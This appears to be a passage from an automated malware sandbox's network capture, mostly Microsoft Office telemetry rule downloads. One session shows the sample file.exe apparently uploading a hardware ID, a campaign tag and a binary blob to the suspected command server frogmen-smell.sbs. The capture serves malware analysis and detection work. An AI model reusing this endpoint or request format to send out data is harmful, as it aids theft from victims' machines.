2024-11-15 18:39:21 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:22 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:22 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 3e54b24b-301e-000c-76af-36323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183922Z-16547b76f7f7zzl8hC1DFWmtag00000000fg000000009nym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:22 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:22 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:22 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: a12cb5ef-101e-007a-7428-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183922Z-164f84587bf9nk94hC1DFWerbg00000000sg000000005e57 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:22 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:22 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183922Z-1866b5c5fbbccpxfhC1DFWbkng00000001k000000000n02x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:22 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:22 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:22 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 27141695-f01e-003c-34af-368cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183922Z-16547b76f7fw2955hC1DFWsptc000000026000000000bx1y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:22 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:22 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:22 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 754da625-801e-0067-47ce-36fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183922Z-164f84587bfffmgqhC1DFWk5ts00000001y0000000006fx3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:22 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	49741	172.67.174.133	443	7160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:22 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=E8TB58EIFO25H User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20377 Host: frogmen-smell.sbs
2024-11-15 18:39:22 UTC	15331	OUT	Data Raw: 2d 2d 45 38 54 42 35 38 45 49 46 4f 32 35 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 34 46 46 41 43 37 36 45 33 46 30 45 32 42 43 30 31 41 32 33 41 41 34 45 37 30 39 36 45 35 0d 0a 2d 2d 45 38 54 42 35 38 45 49 46 4f 32 35 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 45 38 54 42 35 38 45 49 46 4f 32 35 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 45 38 54 42 35 Data Ascii: --E8TB58EIFO25HContent-Disposition: form-data; name="hwid"344FFAC76E3F0E2BC01A23AA4E7096E5--E8TB58EIFO25HContent-Disposition: form-data; name="pid"3--E8TB58EIFO25HContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--E8TB5
2024-11-15 18:39:22 UTC	5046	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc 14 fc db e0 ab e6 03 00 00 00 00 00 00 00 Data Ascii: 6K~`iO\_,mi`m?ls}Qm/X2x)
2024-11-15 18:39:23 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ec356ubr5vvajnjbgsi0v7c1g5; expires=Tue, 11-Mar-2025 12:26:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0Ho2itqwhTpGR4mwREoZSjQ%2FBmKgcF9CJLputbZd6FC95%2F0vTPiGC3oJeSf74DQpiblholAZ9L0VTS8IDCaB0qWVDmhsEp9ln5tgP3myhh6qpz%2B%2BfirLJHCyRjpD0VHBwAIzUA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e315d16a865e745-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18935&sent=12&recv=24&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21335&delivery_rate=152839&cwnd=32&unsent_bytes=0&cid=7f7585d1d0662868&ts=564&x=0"
2024-11-15 18:39:23 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 39 0d 0a Data Ascii: 11ok 173.254.250.89
2024-11-15 18:39:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:23 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:23 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:23 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 7a7e882b-d01e-002b-49aa-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183923Z-16547b76f7ffx24hhC1DFW9px4000000014g00000000um9c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 18:39:23 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:23 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:23 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0304051c-b01e-0070-43af-361cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183923Z-16547b76f7f76p6chC1DFWctqw0000000nkg00000000nu2r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:23 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:23 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:23 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:23 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a8264c91-f01e-0052-7a79-369224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183923Z-164f84587bfjxw6fhC1DFWq94400000001w0000000004wq4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:23 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:23 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:23 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:23 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 7bf77406-901e-0083-6cab-36bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183923Z-16547b76f7f76p6chC1DFWctqw0000000nn000000000czq8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 18:39:23 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:23 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
